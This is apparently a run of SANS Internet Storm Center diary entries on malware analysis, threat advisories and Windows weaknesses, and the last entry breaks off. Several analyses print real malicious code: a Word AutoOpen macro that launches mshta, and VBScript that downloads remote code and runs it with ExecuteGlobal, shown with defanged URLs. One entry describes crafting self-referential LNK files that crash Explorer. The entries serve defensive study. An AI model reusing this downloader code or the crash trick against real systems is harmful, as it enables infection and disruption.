There is no honor among thieves. Even after some ransomware gangs claimed to seize targeting the healthcare sector, attacks continue to happen. But ransomware isn't alone. Last week, the FBI updated an advisory regarding the Kwampirs malware, pointing out the healthcare sector as one of its targets. Kwampirs isn't picky in its targeting. It has been observed going after various sectors (financial, energy, software supply chain, and healthcare, among others). One differentiator of Kwampirs is its modular structure. After penetrating a particular target network, the malware will load appropriate modules based on the targets it encounters. In general terms, Kwampirs is a "Remote Admin Tool" (RAT). It provides access to the target and can be used to execute additional payloads at the attacker's choosing.

The modular nature makes it difficult to enumerate the capabilities of the tool. Likely, addons are developed continuously as new capabilities are required to penetrate a particular network.

Kwampirs exhibits several behaviors that put it in the "Advanced Persistent Threat (APT)" category:

• It is patient. Kwampirs does not launch fast "hit and run" attacks. Instead, it can infiltrate a network and only communicate daily, asking for updates. I took some networks three years to detect Kwampirs.
• Kwampirs infiltrates software vendors and uses them to spread to customers. These supply chain attacks are well suited to target specific industries.
• It does not have a clear financial motive, like stealing PII or payment card data. The malware has not been observed destroying or encrypting data for ransom.

Kwampirs will likely enter your network undetected as part of a software update from a trusted vendor. Anti-malware solutions will detect past versions. But do not put too much trust in anti-malware to detect the next version that is likely tailored to your organization.

There are a few indicators that have been observed in the past, and it is certainly important to verify your network that you are not already infected. See the prior FBI bulletins for more details and Yara signatures.

But of course, this behavior is going to change. For future versions of this (and other threats), it is useful to abstract these signatures:

Check for new services popping up in your network. Do not look just for specific names like "WmiApSrvEx", but investigate any service that you haven't see before
New processes. This is tricky and maybe too noisy.
New files being added to system folders. Again, don't focus on the specific names.
Kwampirs will also propagate through administrative shares. Deception techniques are an excellent option to catch this type of behavior.

Of course, I always like network detection techniques to identify malicious behavior. For Kwampirs, this may be a bit tricky, but it depends on what exact version you encounter. Some versions apparently will connect to an IP address directly, skipping DNS. Outbound connections without a DNS lookup returning the target IP should be one of your standard signatures. In the past, Kwampirs used some odd domain names that may stick out. For example, it used the "tk" top-level domain, which has sadly become almost an indicator of compromise in itself. Declaring yourself authoritative for .tk and redirecting queries to a sensor is an excellent way of detecting these and many other exploits. I probably wouldn't spend too much time looking for the specific hostnames listed in the FBI advisory. These hostnames tend to be very ephemeral, and they are not going to "last" very long. But a historical search of your DNS logs (did I mention Zeek?) may be appropriate.

If you find anything interesting, please let us know. Refer to the FBI advisories I uploaded here for more detailed IOCs. 

[1] https://isc.sans.edu/diaryimages/Kwampirs_PIN_20200330-001.pdf
[2]  https://isc.sans.edu/diaryimages/FLASH-CP-000111-MW_downgraded_version.pdf
[3] https://isc.sans.edu/diaryimages/FLASH-CP-000118-MW_downgraded_version.pdf

---
Johannes B. Ullrich, Ph.D. , Dean of Research, SANS Technology Institute
Twitter|

In a couple of my recent diaries, we discussed two small unpatched vulnerabilities/weaknesses in Windows. One, which allowed us to brute-force contents of folders without any permissions[1], and another, which enabled us to change names of files and folders without actually renaming them[2]. Today, we’ll add another vulnerability/weakness to the collection – this one will allow us to cause a temporary DoS condition for the Explorer process (i.e. we will crash it) and/or for other processes. It is interesting since all that is required for it to work is that a user opens a link or visits a folder with a specially crafted file.

The vulnerability lies in the way in which URL links (.URL files) and Shell Links (.LNK files) are handled by Windows when they are self-referential (i.e. they “link to themselves”). The principle behind the vulnerability is not new – a similar issue was supposedly present in the early versions of Windows 7 with self-referential symlinks – but since I didn’t find any write-up for the issue with URLs and LNKs, I thought I’d share this version of the vulnerability here. I should mention that I informed Microsoft of the issue and they decided not to patch it due to its limited impact.

With URL links, crafting a self-referential one is quite simple. URL shortcuts are basically just INI files and you may create one in the same way you would create a LNK shortcut (i.e. right click in a folder -> New -> Shortcut), you just have to input URL as the target. If we were to create a shortcut this way, which points to https://isc.sans.edu/, we would end up with following contents inside the resulting URL file.

The structure is quite simple, but we may simplify it further still, since for our purposes, we only need to specify the [InternetShortcut] section and a target for the link. A file with the following contents will work the same way as the previous one.

In order to create a self-referential URL file, we simply need to point the URL property to the path where our file is located.

If we try to open this file, the Explorer process will crash and after a while, it will be started again.

This is intriguing behavior and since the mechanism works for remote file shares as well (and since we may change the icon which is displayed for the URL file), a specially crafted URL link might be used quite easily to pull a prank on someone. Besides it being a potential tool for use during the April Fools’ day, however, there don’t seem to be many uses for a self-referential URL.

Self-referential Shell Links, on the other hand, could be quite handy in certain red teaming situations. This is because in case of LNK files, one doesn’t need to interact with them directly in any way in order to cause Explorer to crash, it is enough to open the folder in which they are located.

This is due to the interesting way in which Windows handles Shell Links. To demonstrate the behavior of Windows when a user opens a folder in which a LNK file is located, I created a shortcut, which points to calc.exe, and placed in in the folder C:\PoC. As you may see from the output from Process Monitor bellow, which shows what happened when I opened the PoC folder, the Explorer process automatically found the target file (C:\system32.calc.exe) and accessed it.

Although this behavior is quite interesting by itself, the fact that Explorer tries to access target of a LNK file when a folder, inside which it is placed, is opened is sufficient for our purposes.

At this point, we may try to create a self-referential LNK. However, if we simply try to point existing Shell Link file back on itself (or point it to any other LNK), Windows will stop us, because creating a shortcut to another shortcut is not allowed.

Since Shell Links have a binary format, making them point to themselves “manually” isn’t as straightforward as in the case of URL files. With a hex editor and with a little help from the official documentation[3], it still isn’t too difficult though.

The only potential snag is that Shell Link files really aren’t meant to point to other LNKs and to enable this behavior, we need to set a special flag in the header of the Shell Link called “AllowLinkToLink“ (i.e. add 0x80 to byte at offset 0x16)[4].

If we try to access a folder, inside which the LNK is placed, Explorer will indeed crash and then start up again.

If you’d like to try this out on your own system, I prepared a sample Shell Link file to make it easier. You may download it from https://untrustednetwork.net/files/ISC/2020/infinilink.zip (password is “infected”) and unzip the “infinilink” directory to your C drive. It works from certain other locations as well, but I would caution against putting the downloaded LNK directly on a Desktop.

Although it should be harmless (besides causing the Explorer process to crash, that is), I would also recommend that you only try it in a backed up virtual environment.

For completeness sake, I should mention that explorer.exe isn’t the only process we may crash this way. Any application, which uses one of the standard Windows file dialogs (i.e. Open File dialog, Save File dialog, etc.) is susceptible and will crash if the dialog window is used to open a folder containing a self-referential LNK.

[1] https://isc.sans.edu/diary/25816
[2] https://isc.sans.edu/diary/25912
[3] https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-shllink/16cb4ca1-9339-4d0c-a68d-bf1d6cc0f943
[4] https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-shllink/ae350202-3ba9-4790-9e9e-98935f4ee5af

-----------
Jan Kopriva
@jk0pr
Alef Nula

2 readers (anonymous and Robert) submitted very similar malicious spreadsheets with almost no detections on VT: c1394e8743f0d8e59a4c7123e6cd5298 and a03ae50077bf6fad3b562241444481c1.

These files contain Excel 4 macros (checking with oledump.py here):

There are a lot of cells in this spreadsheet with a call to the CHAR function:

These CHAR formulas evaluate to ASCII characters, that are then concatenated together and evaluated as formulas:

I can extract the integer argument of each CHAR function like this with my tool re-search.py:

That can then be converted to characters using my tool numbers-to-string.py:

The string above is build-up of all the cells with function CHAR in the spreadsheet. That's why the produced string looks promising, but the characters don't seem to be in the right order.

Selecting characters on the same row doesn't help:

But selecting by column does reveal the formulas:

Analyzing obfuscated Excel 4 macros with a command-line tool like this can be difficult, and it can be easier to view the Excel 4 macro sheet inside a VM (this sheet was very hidden):

Didier Stevens
Senior handler
Microsoft MVP
blog.DidierStevens.com DidierStevensLabs.com

How can you know which operating system is running on a specific remote host? The technique to answer this question corresponds to the fingerprinting of the operating system and is executed by sending a specific set of packages to the remote host and see how it behaves. Each operating system responds differently, which allows it to be identified. 

This will be a set of two diaries covering how nmap and p0f performs OS fingerprinting.

This diary will cover nmap. For its content, a virtual machine will be used in VMWare with Ubuntu 16.04 operating system and a network capture, which can be downloaded from here. The following topology is being used:

Now we perform an nmap OS fingerprint scan to 192.168.42.131 using -O option:

The only opened port we find is TCP/22. So, after performing a network capture, we can have a look to all the packets being sent to that specific port using the following wireshark filter: ip.src == 192.168.42.1 and ip.addr == 192.168.42.131 and tcp.port == 22

Now we proceed to break down packet number 2003. Below you can see its hex dump.  Can you get the same values as me for the fields that I will describe below? Remember that the package includes the level 2 headers of the OSI model:

• Seq: As seen in wireshark, this is the relative TCP sequence number. Since this is the first packet, it is set to 0. The raw sequence number for the packet is 1995445997.
• Win: This is the TCP Window size. It is set to 1.
• Len: TCP segment length is 0. Total length for the IP Packet is 60 bytes. IP Header length is 20 bytes, TCP Header length is set to 40 bytes. TCP segment length = Length of IP Packet - IP Header Length - TCP Header Length = 60-20-40 = 0.
• WS: TCP Window Scale Factor. This TCP Option 3. Since TCP window is the receive buffer for incoming data that has not been processed yet by the application, sometimes it falls short due to it's maximum size of 65535 bytes. RFC 1323 allowed to expand the size of the Window by introducing a Window Scale. For this packet is 10, so the Window Scale Factor is 2^10=1024. Since original TCP Window size for this packet is 1 byte, the enhanced Window would be 1 byte * 1024 = 1024 bytes.
• MSS: Maximum Segment Size.
• TSVal and TSecr: This is TCP option 8. Time Stamp Value (TSVal) has the current value of the timestamp clock of the TCP sending the option, which can be in the range 1 ms to 1 sec per tick according to RFC 1323.Time Stamp Echo Reply (TSecr) contains the timestamp value that was sent by the remote host in the TSval field of a timestamps option
• SACK_PERM: This is TCP Option 4. SACK-permitted option alters the acknowledgment behavior of TCP. It is offered to the remote end during TCP connection establishment as an option to an opening SYN packet allowing selective acknowledgment of permitted data. The default TCP acknowledgment behavior is to acknowledge the highest sequence number of in-order bytes.

Let's verify the responses for some specific packets. There are no TCP answers for packet 2023 (TCP packet with no flags):

What about the answer for packet 2003?

These answers are processed by nmap to determine what is the operating system of the remote host.

How can you forge the remote host answers to these specific nmap os fingerprint packets? Let's use OSFooler:

1. Download the tool:

2. Setup and install the tool. You need to have previously installed python-setuptools and python-nfqueue:

3. Update the tool with the latest nmap database:

4. Let's find a fingerprint for Windows 8 to forge:

5. Let's forge the answers of the linux machine to make it look a Windows 8.1:

6. To nmap, the linux machine now looks like a Windows 8.1:

Do you know any other interesting tools to fool OS fingerprint? Feel free to comment this diary or contact us.

Manuel Humberto Santander Pelaez
SANS Internet Storm Center - Handler
Twitter:@manuelsantander
Web:http://manuel.santander.name
e-mail: msantand at isc dot sans dot org

Johannes started a Covid19 Domain Classifier here on our Internet Storm Center site.

From SANS NewsBites Vol. 22 Num. 025:

Help Us Classify COVID-19 Related Domains

These last couple of weeks, criminals have been using COVID-19 for everything from selling fake cures to phishing. Every day, several thousand domains are registered for COVID-19 related keywords. We are trying to identify the worst, and classify the domains into different risk categories. If you have some time this weekend, please help us out by checking out some of these domains. To participate, see https://isc.sans.edu/covidclassifier.html. The domain data is based on a feed provided by Domaintools and we will make the results of this effort public for download as soon as we have a “critical mass” of responses.

When you log in with your account to the SANS ISC site, you'll get a list of 10 domains to classify, like this:

 

Didier Stevens
Senior handler
Microsoft MVP
blog.DidierStevens.com DidierStevensLabs.com

When we speak about "fileless" malware, it means that the malware does not use the standard filesystem to store temporary files or payloads. But they need to write data somewhere in the system for persistence or during the infection phase. If the filesystem is not used, the classic way to store data is to use the registry. Here is an example of a malicious JavaScript code that uses a temporary registry key to drop its payload (but it also drops files in a classic way).

The malware was delivered via a Microsoft Word document:

remnux@remnux:/malwarezoo/20200327$ oledump.py information_03.26.doc 
A: word/vbaProject.bin
 A1:       576 'PROJECT'
 A2:       104 'PROJECTwm'
 A3: m    1127 'VBA/ThisDocument'
 A4:      3798 'VBA/_VBA_PROJECT'
 A5:      2201 'VBA/__SRP_0'
 A6:       206 'VBA/__SRP_1'
 A7:       348 'VBA/__SRP_2'
 A8:       106 'VBA/__SRP_3'
 A9: M    2319 'VBA/a4bLF'
A10: M    2026 'VBA/acpqnS'
A11: M    2457 'VBA/ajzdY'
A12:       913 'VBA/dir'
A13: m    1171 'VBA/f'
A14:        97 'f/\x01CompObj'
A15:       284 'f/\x03VBFrame'
A16:        86 'f/f'
A17:     37940 'f/o'

Several macros are present and are easy to decode:

Sub AutoOpen()
  main
End Sub

And:

Sub main()
  ajKTO = StrReverse(ae5RXS("e$x$e$.$a$t$h$s$m$\$2$3$m$e$t$s$y$s$\$s$w$o$d$n$i$w$\$:$c$", "$", ""))
  akYREj = StrReverse(aQqnur("m$o$c$.$t$f$o$s$o$r$c$i$m$\$a$t$a$d$m$a$r$g$o$r$p$\$:$c$", "$", ""))
  aXlTxC = StrReverse(airmZ6("l$m$t$h$.$x$e$d$n$i$\$a$t$a$d$m$a$r$g$o$r$p$\$:$c$", "$", ""))
  Call VBA.FileCopy(ajKTO, akYREj)
  Set axe16 = f.i
  atk8Jw aXlTxC, axe16.value
  Shell akYREj & " " & aXlTxC
End Sub

The three lines containing StrReverse() are easy to deobfuscate, you just have to remove the '$' characters and reverse the string:

StrReverse(ae5RXS("e$x$e$.$a$t$h$s$m$\$2$3$m$e$t$s$y$s$\$s$w$o$d$n$i$w$\$:$c$", "$", "")) = "c:\windows\system32\mshta.exe"
StrReverse(aQqnur("m$o$c$.$t$f$o$s$o$r$c$i$m$\$a$t$a$d$m$a$r$g$o$r$p$\$:$c$", "$", "")) = "c:\programdata\microsoft.com"
StrReverse(airmZ6("l$m$t$h$.$x$e$d$n$i$\$a$t$a$d$m$a$r$g$o$r$p$\$:$c$", "$", "")) = c:\programdata\index.html

The function atk8Jw() dumps the payload:

Public Function atk8Jw(ar9a1t, afn6Jc)
  Open ar9a1t For Output As #1
  Print #1, afn6Jc
  Close #1
End Function

The file index.html is created based on the content of a hidden form in the Word document (called 'f').

The second stage is executed via mshta.exe. This piece of code uses the registry to dump the next stage:

<p id="content">6672613771647572613771646e726137 ...(very long string)... 2613771642972613771643b7261377164</p>
...
var aYASdB = "HKEY_CURRENT_USER\\Software\\soft\\key";
...
aB9lM.RegWrite(aYASdB, a0KxU.innerHTML, "REG_SZ");
...
aUayK = aB9lM.RegRead(aYASdB)
...
aB9lM.RegDelete(aYASdB)

The content is the 'id' HTML element is hex-encoded and obfuscated with garbage characters. Once decoded, we have a new bunch of obfuscated code.

It fetches the next stage from this URL: 

hxxp://his3t35rif0krjkn[.]com/kundru/targen.php?l=swep4.cab

Unfortunately, the file was already removed and I was not able to continue the analyzis...

Xavier Mertens (@xme)
Senior ISC Handler - Freelance Cyber Security Consultant
PGP Key

Security controls have a major requirement: they can't (or at least they try to not) interfere with normal operations of the protected system. It is known that antivirus products do not scan very large files (or just the first x bytes) for performance reasons. Can we consider a very big file as a technique to bypass security controls? Yesterday, while hunting, I spotted a very interesting malware sample. The malicious PE file was delivered via multiple stages but the final dropped file was large... very large!

It started with a classic phishing email containing a shortened URL:

hxxp://bit[.]ly/2WFm2wY

(Tip: Not many people are aware that if you add a ‘+’ sign at the end of a bit.ly URL, you won’t be redirected automatically to the real URL but a page with the link will be returned instead. This can help you to decide if the shortened URL is malicious or not.)

This URL redirected to a second shortener service:

hxxps://rebrand[.]ly/9zcj74uFAT039

Finally, the real URL was visited:

hxxps://cld[.]pt/dl/download/6812fec0-88b6-4e41-9eb1-e5cb06be83e0/sapotransfer-5a1a0746e3e7ePG/ER-3939874-FT.zip?download=true

The ZIP archive (SHA256:7dc6b78fac829e25232fa5fa885464d25bdef45fa577d10f3e73fe393e1c2c19) contains a VBScript file ‘ER-3939874-FT.vbs’ (SHA256:494b9fc1957434ac5626d5fa17189db09f1acea00c856caf107d7bb22fde5ec5)

A quick analyzis reveals that the code is very simple:

It downloads another piece of code from an URL:

Set Dnlakdnsks = CreateObject("Msxml2.XMLHttp.6.0")
Dnlakdnsks.open "GET", Cfgghhhh("_kkgj1&&gXjk\Y`e%Zfd&iXn&>D)/_E?Y"), False
Dnlakdnsks.send

And executes it:

Function DJierorpoop(WWWWWw)
  ExecuteGlobal WWWWWw
End Function
DJierorpoop Dnlakdnsks.responseText

The URL ('_kkgj1&&gXjk\Y`e%Zfd&iXn&>D)/_E?Y') is deobfuscated via the following function:

Function Cfgghhhh(G1g)
  For DnnKS = 1 To Len(G1g)
    MDNSLS = Mid(G1g, DnnKS, 1)
    MDNSLS = Chr(Asc(MDNSLS)+ 9)
    SSXSLDKSNS = SSXSLDKSNS + MDNSLS
  Next
  Cfgghhhh = SSXSLDKSNS
End Function

We can simulate it in Python. The string is parsed character by characters, converted to their ASCII value and shifted by 9 positions:

>>> str='_kkgj1&&gXjk\Y`e%Zfd&iXn&>D)/_E?Y'
>>> out=''
>>> for c in str:
...     out = out + chr(ord(c)+9)
...
>>> out
'hxxps://pastebin[.]com/raw/GM28hNHb'

This pastie contains more VBScript code and, once executed, it performs the following actions:

It downloads the next stage from the Internet. The URL is encoded using the same technique (see above) but the characters are shifted by 10 instead of 9. The deobfuscated URL is:

hxxp://160[.]20[.]147[.]130:1948/DNsikidstrou9095.iso

The .iso file is a big chunk of Base64 encoded data. Once decoded, we have a ZIP archive:

remnux@remnux:/malwarezoo$ wget hxxp://160[.]20[.]147[.]130:1948/DNsikidstrou9095.iso
remnux@remnux:/malwarezoo$ base64 -d DNsikidstrou9095.iso | file -
/dev/stdin: Zip archive data, at least v2.0 to extract
remnux@remnux:/malwarezoo$ base64 -d DNsikidstrou9095.iso >DNsikidstrou9095.iso.zip
remnux@remnux:/malwarezoo$ unzip DNsikidstrou9095.iso.zip
Archive:  DNsikidstrou9095.iso.zip
  inflating: DNsikidstrou9095.exe

The PE file (SHA256:a5d786ee432dd486d6773621301997c3143dc47a8525c683ff6281990ff9d14d) is very large:

remnux@remnux:/malwarezoo$ $ ls -lh DNsikidstrou9095.exe
-rw-r--r-- 1 remnux remnux 321M Mar 25 08:20 DNsikidstrou9095.exe

321MB is really big! This trick is very easy to bypass many security controls.  

Often, such files are padded with zeroes to make them bigger but it was not the case this time. Let’s inspect the PE file with PEStudio[1]. The PE file format is quite complex[2] and contains ‘sections’. Sections are ‘areas’ in the file that store different types of data:

.text : contains executable code
.data: contains ‘data’ used by the program

An interesting one is '.rsrc' which contains the ‘resources’. As you can see, this section takes more than 97% of the complete file size:

Resources can be any type of data embedded in the application. Common data are icons, cursors, images, etc.
In our malicious PE, we see three big resources:
 

PEStudio can dump resources to disk. Let’s dump them and see what we have:

remnux@remnux:/malwarezoo$ file  DNsikidstrou9095.*.bmp
DNsikidstrou9095.exe.0.bmp: PC bitmap, Windows 3.x format, 9161 x 7054 x 24
DNsikidstrou9095.exe.1.bmp: PC bitmap, Windows 3.x format, 4267 x 5293 x 24
DNsikidstrou9095.exe.2.bmp: PC bitmap, Windows 3.x format, 4414 x 4959 x 24

Files look very similar:

It does not seem to be computer-generated. I tried to find hidden data in the file, but they look ‘clean’.
The next question is: “Are these sections used by the program?”

They are many tools to play with resources but I like ResourceTuner[3]. The tool is not free but is available in demo mode for 30 days, more than enough to play with it from time to time. The tool allows you to browse resources embedded in a PE file but also to remove them:

The newly generated file has now a size of (only) 8371200 bytes (SHA256:d8d3665affc98cba7942674a51713878b903f8c19034075eb469c3ace3d6aeb6)

Let’s try to execute it again in a sandbox… Great, it worked perfectly!

It’s a variant of the Latentbot[4] that communicates with a C2 @ %%ip:18.231.122.158%%.

[1] https://www.winitor.com
[2] https://docs.microsoft.com/en-us/windows/win32/debug/pe-format
[3] http://www.heaventools.com/resource-tuner.htm?
[4] https://blog.malwarebytes.com/threat-analysis/2017/06/latentbot/

Xavier Mertens (@xme)
Senior ISC Handler - Freelance Cyber Security Consultant
PGP Key

Introduction

This week, I've seen a lot of malicious spam (malspam) pushing Dridex malware.  Today's diary, provides a quick rundown on the types of malspam I've seen, and it also covers what an infected Windows host looks like.

The malspam

I've seen at least 3 different themes used during the first two days of this week from malspam pushing Dridex.  One was a voicemail-themed email.  Another used a DHL them.  Finally, I saw a FedEx-themed email pushing Dridex.  See the images below for examples.

Shown above:  Malspam using a voicemail theme to push Dridex.

Shown above:  Malspam using a DHL them to push Dridex.

Shown above:  Malspam using a FedEx theme to push Dridex.

An infected Windows host

I infected a lab host using a URL from one of the emails shown above.  See images below for details.

Shown above:  Clicking on the link in the Fedex email.

Shown above:  Extracting a VBS file from the downloaded zip archive.

Shown above:  Running the VBS file drops the initial DLL for Dridex.

Shown above:  Dridex persistence mechanism 1 of 3--a scheduled task.

Shown above:  Dridex persistence mechanism 2 of 3--a regisrty update.

Shown above:  Dridex persistence mechanism 2 of 3--a shorVcut in the Windows startup menu.

Indicators

URLs from the three email examples:

• hxxp://bienvenidosnewyork[.]com/app.php
• hxxp://photoflip[.]co[.]in/lndex.php
• hxxp://everestedu[.]org/lndex.php

Zip archive downloaded from link in one of the malspam:

• SHA256 hash: fc3da99b3bfd3fee81361dd0795e24f24a6b1362629ddc2e98b7d1490b0b4598
• File name: XLS_479818342326.zip

VBS file extracted from the above zip archive:

• SHA256 hash: cc1b8318bd30fa4f03e333ad34ae153ef3b5e42cbce95299d566ad755391313f
• File name: XLS_479818342326.vbs

Initial Dridex DLL seen after running VBS file:

• SHA256 hash: abf99a028dae6812f6f0ca633d7424ce9272dfcfbebf6b518c1e6c97f872f3e7
• File location: C:\ProgramData\qPryTEyLr.dll

File hashes for Dridex DLLs made persistent during the infection:

• SHA256 hash: 6712500bb0de148a99ec940160d3d61850e2ce3803adca8f39e9fa8621b8ea6f
• File name: DUI70.dll

• SHA256 hash: 86bcfce2dd342e9a1c04cfc65731d40ed1c397a4ec47bd9f5b41771297d81100
• File name: UxTheme.dll

• SHA256 hash: 005e77a55b8f1bf4049d6231c2349a01d019b46f47b6930103458a2aadd1bfa6
• File name: dxgi.dll

Final notes

Of note, zip archives from links in the emails appeared to be different names/sizes/hashes each time I downloaded one, even if it was from the same link.  Also, when a Dridex-infected Windows host is rebooted, the locations, names, and file hashes of the persistent Dridex DLL files are changed.

Dridex remains a feature of our threat landscape, and it will likely continue to be, at least in the foreseeable future.  Windows 10 hosts that are fully patched and up-to-date have a very low risk of getting infected from Dridex, so it pays to follow best security practices.

---

Brad Duncan
brad [at] malware-traffic-analysis.net

Following is a guest cross-post from John Scott-Railton, a Senior Researcher at The Citizen Lab. His work focuses on technological threats to civil society.

We all know about global shortages of ventilators, protective equipment, and pharmaceuticals. But as work moves home, it will be much less secure, harder to defend, and easier to snoop on.

Working From Home & At Risk…From Hackers
As a researcher investigating state-sponsored hacking I’ve been trying to think about what COVID-19 means for cybersecurity. My guesses begin at as I look around me, with the massive growth of work-from-home, and how it will will make life easier on hackers, and harder on defenders.

Last week, as workplaces emptied into the stubble-and-sweatpants of full-time-remote-work most desktops stayed at the office. Some employers sent staff home with fleets of laptops and phones. Most did not.
Predictably, the world’s business has slid into a world of personal devices, personal chat & calling apps, and un-administered, unpatched home wifi routers and networks. This is some remarkable, quick moving resiliency. It is also introducing serious new risks that could lead us to be re-victimized digitally.

The New Workplace Has More Doors, Fewer Locks
It has always been a challenge for administrators to make sure that sensitive work is conducted over work networks and on work devices. The new reality of COVID-19 is that employees need:

• More remote access to networks and resources
• To access new resources as colleagues take sick leave
• To conduct business on personal devices, accounts and apps

Once it would be a rarity for a major deal, or sensitive negotiation to have someone joining from a home office, on a personal device. For a while, it will be the new normal.

Browsing in the time of COVID-19
The baseline for most personal devices is default-insecure. The new work desktop in the era of COVID-19 is going to be an unpatched, crusty laptop that spent the past two years Netflix & chilling. We already see plenty of COVID-19 related internet opportunism, from themed phishing and ransomware, to more esoteric attacks. Most internet-connected personal (and work!) devices will swim in this threat-and-nuisance soup for months.
Depending on demographics and income, personal devices like laptops will do double and triple duty. Kids will submit homework, roommates format CVs, do taxes, and partners borrow something that doesn’t freeze on the flavor-of-the-week teleconferencing app their work is rolling out. If ever there was a petri dish…

Blurring work & personal accounts
Work conferencing and chatting solutions are a mixed bag in the best of times. As users struggle with network latencies and bandwidth, and the need to talk to other organizations, many are pivoting to personal accounts on services like WhatsApp and iMessage.
While moving to end-to-end encrypted chats has many benefits, it can also contribute to the further blurring of work and personal accounts and devices, and paint a target on a device or an account that the owner has never thought to secure.

…and your adversaries have a video feed!
The desperately insecure internet-of-things/s**t has slid into many homes. While the new home panopticon leaves many uneasy, it has only rarely entered the consciousness of defenders as a workplace threat. That should change right now. For the next while, masses of sensitive work business will be conducted in the vicinity of smart devices. Defenders might find it useful to try and picture the internet of things the way nation states and other threat actors do: a massive new collection opportunity against their workforce. Perhaps a memo-from-the-dept-of-silver-lining for this situation will be that the insecurity of these devices will finally attract some serious attention. Then again, probably not.

COVID-19 Will Give Hackers Wings
Investments in endpoint, network and cloud security raise the costs for potential attackers (in theory!). But when sensitive work business moves away from these devices and environments, the impact of that investment will be quickly degraded as IT staff and CISOs cannot monitor what happened.

The Defenders Will Be Blind
The personal devices and accounts pulling work duty will be largely un-administered and un-logged. On a given Thursday afternoon, IT staff is going to be busy helping everyone troubleshoot the 14th Zoom meeting of the week. In this environment, individual breaches are even less likely to be noticed.
The predictable result of the new COVID-19 remote workplace will be like a shot of Red Bull for less skilled, less well resourced threat actors. Suddenly they will get wings!
At the extreme end, phishing and RATS will, for a while, probably do some of the work of much more sophisticated tactics.
Groups like the Syrian Electronic Army that, years ago, hit ceilings of technological sophistication that made it hard for them to effectively target companies and governments will undoubtedly give it another go, this time even more focused on personal devices and accounts. Meanwhile, the more sophisticated nation state operations have every incentive try harder, for more, and assume less attention will be paid to their operations.

We Are Not In *All* of This Together
The hugely ad-hoc insecure new workplace would be less terrifying if everyone were experiencing the COVID-19 pandemic at the same time, and in the same disruptive way. We aren’t. Each country and community is somewhere different on the timeline of the illness.
Some well known net exporters of sophisticated cyberattacks, like China, are busy trying to restart their economies, and no doubt looking at the interesting opportunities that COVID-19 presents for ticking items off their intelligence collection shopping lists. Other belligerents like Russia, while busy-denying-COVID-19-is-a-thing-domestically will almost certainly go after their usual list of geopolitical targets with renewed vigor.
Many juicy prizes are at their most organizationally vulnerable right now. Plenty of threat actors can’t wait to pick their digital pocket. Meanwhile, the juiciest part of [insert your workplace here] is now vulnerable in new ways that none of us are completely familiar with.

Special Note: Are Governments Immune?
Nope. They are among the juiciest of targets. 80 year old judges deliberating over billion dollar cases in sweatpants. Quarantined legislators in their home dens brainstorming with colleagues about China.
Militaries trying to do command-and-control over WhatsApp because having everyone in one bunker is a recipe for disaster. Even as they seek extensive new authorities over civilian populations, governments have never been more within the reach of all the wrong people.

Reach John via Twitter.

Until next time: Russ McRee | @holisticinfosec

Microsoft announced limited exploitation of a zeroday remote code execution vulnerability in the type 1 font parser.

There are two RCE vulnerabilities in Windows Adobe Type Manager Library on Windows system, when parsing Adobe Type 1 PostScript format. There are multiple attack vectors, like documents.

Microsoft is working on a patch.

Following mitigation actions can be taken:

• Disable the Preview Pane and Details Pane in Windows Explorer
• Disable the WebClient service
• Rename ATMFD.DLL

 

Remark that Microsoft points out the following in its advisory:

For systems running supported versions of Windows 10 a successful attack could only result in code execution within an AppContainer sandbox context with limited privileges and capabilities.

 

Update: I can't find ATMFD.DLL on any of the Windows 10 machines I have access to, unless it's a version older than 1809. This DLL must have been removed when upgrading to 1809, and this could explain Microsoft's remark about supported version of Windows 10 and AppContainer sandboxes (1803 and older are no longer supported).

Update 2: Microsoft has updated the advisory to version 1.1, confirming that ATMFD.DLL (a kernel mode font driver) has been replaced by FONTDRVHOST.exe running in an AppContainer. In other words, this vulnerability that is inside kernelmode font parsing code in Windows 7, 8 and older versions of Windows 10, is no longer inside the kernel but in an AppContainer with limited privileges.

 

Microsoft advisory ADV200006

Didier Stevens
Senior handler
Microsoft MVP
blog.DidierStevens.com DidierStevensLabs.com

I have other samples like the malware I covered in yesterday's diary entry.

All with the same body and attachment, it's just the sender that varies. The PowerShell scripts are the same and download from show1[.]website. Like I wrote yesterday, three files are downloaded:

1. A legitimate, signed AutoIt interpreter (this is not malware)
2. A heavily obfuscated AutoIt script, that is encoded as a PEM certificate
3. An encrypted EXE: KPOT info stealer

The PowerShell script uses certutil to BASE64-decode the "certificate" to the AutoIt script, and then lauches the AutoIt interpreter with the script as argument.

The AutoIt script contains process hollowing shellcode (known as frenchy shellcode), that decrypts the encrypted PE file as guest and uses 32-bit dllhost.exe as host (as process hollowing host, not as dll host).

The PH shellcode contains mutex name "frenchy_shellcode_06", but this name is randomized by the AutoIt script before it is injected and executed.

As the decrypted KPOT EXE is never written to disk, it was unknown by VirusTotal. I did submit it today.

KPOT is an infostealer, as can be guessed from the strings found inside the executable:

More interesting strings are simply XOR-encoded (1-byte key).

Like the C2:

And the targets:

Usually, I explain in detail my analysis steps, so that you can reproduce them. I will do this too for this executable in one or more upcoming diary entries.

 

Didier Stevens
Senior handler
Microsoft MVP
blog.DidierStevens.com DidierStevensLabs.com

Reader Andrew received a COVID-19 themed email with malicious attachment, and submitted the complete email.

My tool emldump.py reports the different parts:

The email body is a fake message from criminals cautioning their victims that documents are required to leave their house during a "National State of Emergency", which are conveniently attached to the email:

The attachment is a ZIP file. Analysis with zipdump.py:

The ZIP file contains a single VBScript file:

This long BASE64 string can be easily analyzed with base64dump.py:

This is another script with more BASE64, but reversed (notice VBScript function StrReverse). I reverse it with python-per-line.py and decode it with base64dump.py:

This PowerShell script downloads 3 files. The files were no longer up when I took a look at this sample, but handler Jan was quicker and gave me the files.

The 3 files are:

1. A bening, legitimate and signed PE file: AutoIt interpreter
2. A malicious, obfuscated AutoIt script, masquerading as a certificate
3. A file with a very high entropy (probably encrypted)

As you can guess, after downloading these files, the AutoIt script is decoded (with certutil) and then executed with the downloaded AutoIt interpreter.

I'm still busy with the static analysis of these files, but a dynamic analysis reveals that the AutoIt script will read the encrypted file and then attempt to connect to servers krt1[.]site, krt2[.]site and krt3[.]site.

These sites too are no longer active, but a quick search reveals that this is the KPOT infostealer.

 

 

 

Didier Stevens
Senior handler
Microsoft MVP
blog.DidierStevens.com DidierStevensLabs.com

I was curious this week to see if my honeypot traffic would increase since a large portion of the world is working from home. Reviewing my honeypot logs, I decided to check what type of filename was mostly targeted (GET/POST/HEAD) by scanners  this past week on any web supported ports (i.e. 80, 81, 8000, etc). This first graph shows overall activity for the past 7 days.

